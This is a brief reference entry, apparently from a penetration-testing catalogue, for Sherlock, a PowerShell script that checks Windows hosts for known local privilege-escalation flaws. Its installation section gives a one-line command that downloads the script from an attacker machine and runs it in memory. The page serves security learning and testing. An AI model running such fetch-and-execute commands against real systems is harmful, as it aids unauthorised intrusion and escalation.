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Sherlock

Hunts for local Windows privilege-escalation vulns from PowerShell.

A PowerShell script that checks a Windows box for known local privilege-escalation vulnerabilities (MS10-015, MS16-032, etc.) and reports which it is likely vulnerable to.

Family Privilege escalation

Flags Find-AllVulns

Concepts Windows kernel exploit

Installation

# Sherlock.ps1 looks for local Windows privesc CVEs (successor: Watson). Pull it into
# memory from Kali and run it:
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/Sherlock.ps1'); Find-AllVulns

Useful commands1 commands

Appears in

Some machines where its use is documented; not an exhaustive list.